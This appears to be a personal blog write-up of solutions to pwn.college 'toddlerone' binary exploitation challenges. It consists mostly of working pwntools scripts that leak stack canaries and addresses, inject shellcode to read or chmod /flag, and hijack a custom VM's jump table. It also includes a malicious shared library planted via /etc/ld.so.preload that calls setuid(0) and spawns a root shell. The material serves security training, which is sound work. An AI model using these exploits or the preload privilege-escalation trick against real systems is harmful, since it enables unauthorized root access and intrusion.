pwncollege-Program
Level-3
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
'''
input_buffer = 0x7fffffffce30
buff_new = 0x7fffffffccf0
0x7fffffffdec0
can =
ret_add = 0x7fffffffce88
'''
p = process("./toddlerone_level3.1")
script = '''
b*$rebase(0x195e)
'''
# p = gdb.debug("./toddlerone_level3.1",aslr=False,gdbscript=script)
cannary_offset = 0x48
stack_base = cannary_offset + 8
#leak_stack_base
repeat = b'REPEAT'
leak_stack = repeat+b'a'*(stack_base-len(repeat))
p.sendlineafter(b"size: ",str(len(leak_stack)))
p.send(leak_stack)
p.recvuntil(leak_stack)
leak_stack_base = u64(p.recv(6).ljust(8,b'\0'))
print(f"leak_base:{hex(leak_stack_base)}")
ret = int(hex(leak_stack_base),16) - 0x11d0
print(f"leak_input_buffer:{hex(ret)}")
leak_cannary = repeat + b'a'*(cannary_offset-len(repeat) + 1)
p.sendlineafter(b"size: ",str(len(leak_cannary)))
p.send(leak_cannary)
p.recvuntil(leak_cannary)
cannary = u64(p.recv(7).rjust(8,b'\0'))
print(f"leak_cannray:{hex(cannary)}")
shellcode = shellcraft.amd64.linux.cat("/flag")
padding = asm(shellcode) + b'a'*(cannary_offset-len(asm(shellcode))) + p64(cannary) + p64(cannary) +p64(ret)
p.sendlineafter(b"size: ",str(len(padding)))
p.send(padding)
p.interactive()
Level-4
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
gdbscript= '''
b*$rebase(0x1660)
'''
p = process("./toddlerone_level4.1")
# p=gdb.debug("./toddlerone_level4.1",gdbscript=gdbscript)
ret_symbol = 0x4AB9BE770438A205
cannary_offset= 0x68
stack_base = cannary_offset + 8
repeat = b'REPEAT'
leak_stack = repeat+b'a'*(stack_base-len(repeat))
p.sendlineafter(b"size: ",str(len(leak_stack)))
p.send(leak_stack)
p.recvuntil(leak_stack)
leak_stack_base = u64(p.recv(6).ljust(8,b'\0'))
print(f"leak_base:{hex(leak_stack_base)}")
ret = int(hex(leak_stack_base),16) - 0x1230
print(f"leak_input_buffer:{hex(ret)}")
leak_cannary = repeat + b'a'*(cannary_offset-len(repeat) + 1)
p.sendlineafter(b"size: ",str(len(leak_cannary)))
p.send(leak_cannary)
p.recvuntil(leak_cannary)
cannary = u64(p.recv(7).rjust(8,b'\0'))
print(f"leak_cannray:{hex(cannary)}")
shellcode = shellcraft.amd64.linux.cat("/flag")
padding = asm(shellcode) + b'a'*(cannary_offset-len(asm(shellcode))-8) + p64(ret_symbol)+p64(cannary) + p64(cannary) +p64(ret)
p.sendlineafter(b"size: ",str(len(padding)))
p.send(padding)
p.interactive()
# padding = b'a'*0x60 + p64(ret_symbol)
# #0x7ffdb848c620
# p.sendlineafter("size:",str(len(padding)))
# p.send(padding)
# p.interactive()
Level-5
Level-6
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.os="linux"
context.terminal = ['tmux', 'splitw', '-h']
gdbscript= '''
b*$rebase(0x28ca)
'''
p = process("./toddlerone_level6.0")
# p=gdb.debug("./toddlerone_level6.0",gdbscript=gdbscript)
syscall_offset= 0x40
cannary_offset= syscall_offset+8
stack_base = cannary_offset + 8
syscall = 0x5a00000001
repeat = b'REPEAT'
leak_stack = repeat+b'a'*(stack_base+8+8-len(repeat))
p.sendlineafter(b"size: ",str(len(leak_stack)))
p.send(leak_stack)
p.recvuntil(leak_stack)
leak_stack_base = u64(p.recv(6).ljust(8,b'\0'))
print(f"leak_base:{hex(leak_stack_base)}")
ret = int(hex(leak_stack_base),16) - 0x1338+0x118
print(f"leak_input_buffer:{hex(ret)}")
leak_cannary = repeat + b'a'*(cannary_offset-len(repeat) + 1)
p.sendlineafter(b"size: ",str(len(leak_cannary)))
p.send(leak_cannary)
p.recvuntil(leak_cannary)
cannary = u64(p.recv(7).rjust(8,b'\0'))
print(f"leak_cannray:{hex(cannary)}")
shellcode = shellcraft.amd64.linux.chmod("/flag",0o777)
padding = asm(shellcode) + b'a'*(syscall_offset-len(asm(shellcode))) + p64(syscall) + p64(cannary) + p64(cannary) +p64(ret)+p64(ret)+p64(ret)
p.sendlineafter(b"size: ",str(len(padding)))
p.send(padding)
p.interactive()
# input 64
# syscall 0x000000e7 00000001
# cannarry
# rbp
Level-10
这是非常有意思的一关,因为我发现了一个非预期的解答,十分值得庆祝。
我的解答思路:利用open(/etc/ld.so.preload.o_create,ff) & umask 0000
来创建文件,然后使用so,来劫持
from pwn import *
import time
context.arch="amd64"
context.os="linux"
# context.terminal = ['tmux', 'splitw', '-h']
# context.log_level="debug"
# enhex(b"/bin/sh"[::fr-1])
# print(enhex(b"/bin/sh"[::-1]))
ID = ['\x01', '\x02', '\x04', '\x08', '\x10', '\x20', '\x40', '\x80']
# 0 1 2 3 4 5 6 7
op = {
'IMM_OP' : ID[0],
'JMP_OP' : ID[6],
'SYS_OP' : ID[2],
'STK_OP' : ID[7],
'ADD_OP' : ID[4],
'STM_OP' : ID[3],# STM *A B
'LDM_OP' : ID[1],
'CMP_OP' : ID[5],
'REG_A_ID' : ID[4],#1024
'REG_B_ID' : ID[3],#1025
'REG_C_ID' : ID[6],#1026
'REG_D_ID' : ID[5], #1027
'REG_S_ID' : ID[1], #1028
'REG_I_ID' : ID[0],# 1029
'REG_F_ID' : ID[2], # 1030
'SYS_READ_MEM_ID' : ID[4],
'SYS_OPEN_ID' : ID[0],
'SYS_WRITE_ID' : ID[5],
'SYS_EXIT_ID' : ID[4],
}
def get_stmt_shellcode(opcode, arg1, arg2):
return opcode+arg1+arg2
# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$(pwd)
p = process("./toddlerone_level10.1")
shellcript = '''
'''
# gdb.attach(p,gdbscript=shellcript)
# gdb.attach(p)
# p.readuntil("Please input your yancode: ")
# to open file
op_str = ""
# imm a 0a
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_A_ID'], '\x00')
# imm c 01
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_C_ID'], '\x01')
file_to_open = b'dem2\x00'
for x in file_to_open:
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_B_ID'], p8(x).decode())
op_str += get_stmt_shellcode(op['STM_OP'], op['REG_A_ID'], op['REG_B_ID'])
op_str += get_stmt_shellcode(op['ADD_OP'], op['REG_A_ID'], op['REG_C_ID'])
# sys read a
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_A_ID'], '\x00')
# imm b
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_B_ID'], '\x40')
# imm c
op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_C_ID'], '\x07')
op_str += get_stmt_shellcode(op['SYS_OP'],op['SYS_OPEN_ID'],'\xff')
# op_str += get_stmt_shellcode(op['SYS_OP'],op['SYS_EXIT_ID'],'\x01')
p.send(op_str)
p.interactive()
badlibc
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
__attribute__((constructor)) void foo(void) {
char buf[128] = {0};
ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf));
// printf("exe is %s\n", buf);
if (len > 0 && strcmp(buf, "/challenge/toddlerone_level10.0") == 0){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system("bash");
}
}
预期解答:syscall 0x81 可以执行两条系统调用,完成orw
Level-11
在这一部分,使用了一个比较好的办法,首先要明白虚拟机是如何运行的,stm
和ldm
指令是可以任意访问内存地址,jmp
指令的跳转,在实现的维护过程中,是维护了一个跳转表来实现的,因为程序本身有PIE,所以我们要通过控制跳转表来实现代码的跳转,imm a 8byte
可以存入我们的shellcode,短跳转指令也只有2byte,所以我们只要控制6byte一组的shellcode就行了,并且在实现的过程中,不够6bye的可以使用nop
来补齐
from pwn import *
import time
context.arch="amd64"
context.os="linux"
# context.terminal = ['tmux', 'splitw', '-h']
# context.log_level="debug"
# enhex(b"/bin/sh"[::fr-1])
# print(enhex(b"/bin/sh"[::-1]))
ID = ['\x01', '\x02', '\x04', '\x08', '\x10', '\x20', '\x40', '\x80']
# 0 1 2 3 4 5 6 7
op = {
'IMM_OP' : ID[3],
'JMP_OP' : ID[5],
'ADD_OP' : ID[0],
'STM_OP' : ID[6],# STM *A B
'LDM_OP' : ID[7],
# 'CMP_OP' : ID[6],
'REG_A_ID' : ID[5],#1024
'REG_B_ID' : ID[0],#1025
'REG_C_ID' : ID[4],#1026
'REG_D_ID' : ID[1], #1027
'REG_S_ID' : ID[6], #1028
'REG_I_ID' : ID[3],# 1029
'REG_F_ID' : ID[2], # 1030
}
def get_stmt_shellcode(opcode, arg1, arg2):
opcode = int(enhex(opcode.encode()),16)
arg1 = int(enhex(arg1.encode()),16)
arg2 = int(enhex(arg2),16)
return p64(arg2)+ p64(opcode) +p64(arg1)
def get_stmt_shellcode1(opcode, arg1, arg2):
opcode = int(enhex(opcode.encode()),16)
arg1 = int(enhex(arg1.encode()),16)
arg2 = int(enhex(arg2.encode()),16)
return p64(arg2)+ p64(opcode) +p64(arg1)
# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$(pwd)
p = process("./toddlerone_level11.1")
shellcript = '''
b*$rebase(0x296e)
c
'''
gdb.attach(p,gdbscript=shellcript)
# gdb.attach(p)
# p.readuntil("Please input your yancode: ")
op_str = get_stmt_shellcode(op['IMM_OP'],op['REG_B_ID'],unhex("808"))
op_str += get_stmt_shellcode1(op['LDM_OP'],op['REG_A_ID'],op['REG_B_ID'])
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_B_ID'],unhex("11d"))#offset of 8-bytes shellcode start address
op_str += get_stmt_shellcode1(op['ADD_OP'],op['REG_C_ID'],op['REG_B_ID'])
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_B_ID'],unhex("808"))
op_str += get_stmt_shellcode1(op['STM_OP'],op['REG_B_ID'],op['REG_C_ID'])
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],unhex("0"))
op_str += get_stmt_shellcode1(op['JMP_OP'], '\x00', op['REG_A_ID'])
# op_str += get_stmt_shellcode(op['IMM_OP'], op['REG_B_ID'], asm("jmp $+0xb")[::-1]+asm("push 0x61")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push 0x61")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push SYS_open")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("pop rax")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("mov rdi, rsp")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("xor esi, esi")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("syscall")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("mov r10d, 0x7fffffff")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("mov rsi, rax")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push SYS_sendfile")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("pop rax")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("push 1")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("pop rdi")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("cdq")[::-1].rjust(6,b"\x90"))
op_str += get_stmt_shellcode(op['IMM_OP'],op['REG_A_ID'],asm("jmp $+0xb")[::-1]+asm("syscall")[::-1].rjust(6,b"\x90"))
# with open("input.bin","wb") as f:
# f.write(op_str)
# print(op_str)
p.send(op_str)
p.interactive()
'''
/* push b'a\x00' */
push 0x61
/* call open('rsp', 'O_RDONLY', 'rdx') */
push SYS_open /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
'''
That’s all!
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dem0のblog!